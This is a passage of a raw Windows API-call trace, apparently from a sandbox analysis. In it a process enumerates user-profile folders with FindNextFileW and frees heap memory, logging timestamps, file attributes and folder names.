ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3eac6fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1aa08e58, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Tools", cAlternateFileName="SYSTEM~1")) returned 1 [0284.440] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011c48 | out: hHeap=0x630000) returned 1 [0284.440] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3ef6e5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21f770e1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell", cAlternateFileName="WINDOW~1")) returned 1 [0284.490] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011c48 | out: hHeap=0x630000) returned 1 [0284.491] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3ef6e5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21f770e1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell", cAlternateFileName="WINDOW~1")) returned 0 [0284.491] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0284.491] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0284.493] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3e04402, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Programs", cAlternateFileName="")) returned 0 [0284.493] FindClose (in: hFindFile=0x6ebdf0 | out: hFindFile=0x6ebdf0) returned 1 [0284.494] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0284.494] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3ef80b9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d53e9c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0284.494] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0284.494] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3ef80b9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d53e9c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0284.494] FindClose (in: hFindFile=0x6ec2f0 | out: hFindFile=0x6ec2f0) returned 1 [0284.494] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0284.494] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2c416743, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2c416743, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows", cAlternateFileName="")) returned 0 [0284.494] FindClose (in: hFindFile=0x6ec0b0 | out: hFindFile=0x6ec0b0) returned 1 [0284.494] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0284.496] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0284.496] FindClose (in: hFindFile=0x6ec270 | out: hFindFile=0x6ec270) returned 1 [0284.496] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0284.497] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3c8c01f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Roaming", cAlternateFileName="")) returned 0 [0284.497] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0284.497] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0284.497] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0284.498] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0284.498] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0284.498] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0284.498] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3ef8c08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0284.498] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0284.498] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f654c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0284.499] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0284.499] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d42963, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x5d42963, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0284.499] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0284.499] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d42963, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x5d42963, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0284.499] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0284.499] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d42963, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x5d42963, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0284.499] FindClose (in: hFindFile=0x6ec070 | out: hFindFile=0x6ec070) returned 1 [0284.500] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0284.500] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f66782, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0284.500] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0284.500] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb8e09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0284.503] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0284.503] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb994f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0284.504] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0284.504] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0284.504] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0284.504] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbaa63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0284.717] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0284.717] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0284.717] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0284.717] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0284.717] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0284.717] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c4aac40, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x7a4c27fa, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x7a4c27fa, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0284.717] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0284.717] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0284.718] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0284.718] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0284.718] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0284.718] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbb8a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0284.718] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0284.718] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0284.718] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0284.718] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0284.718] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0284.718] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0284.718] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0284.718] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbc16a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0284.718] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0284.718] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbc16a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0284.719] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0284.719] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0284.721] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xd7b844b1, ftCreationTime.dwHighDateTime=0x1d2a02f, ftLastAccessTime.dwLowDateTime=0xd7b844b1, ftLastAccessTime.dwHighDateTime=0x1d2a02f, ftLastWriteTime.dwLowDateTime=0xd7b844b1, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x240000, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0284.722] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0284.722] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xc40864ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7205420a, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x240000, cFileName="Default.migrated", cAlternateFileName="DEFAUL~1.MIG")) returned 1 [0284.794] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0284.794] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99c9f63, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99c9f63, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99c9f63, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 0 [0284.806] FindClose (in: hFindFile=0x6ec330 | out: hFindFile=0x6ec330) returned 1 [0284.807] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0284.808] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7202dfa5, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7202dfa5, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows", cAlternateFileName="")) returned 0 [0284.808] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0284.808] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0284.808] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7202dfa5, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7202dfa5, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0284.808] FindClose (in: hFindFile=0x6ec3f0 | out: hFindFile=0x6ec3f0) returned 1 [0284.808] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0284.810] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7202dfa5, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7202dfa5, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, 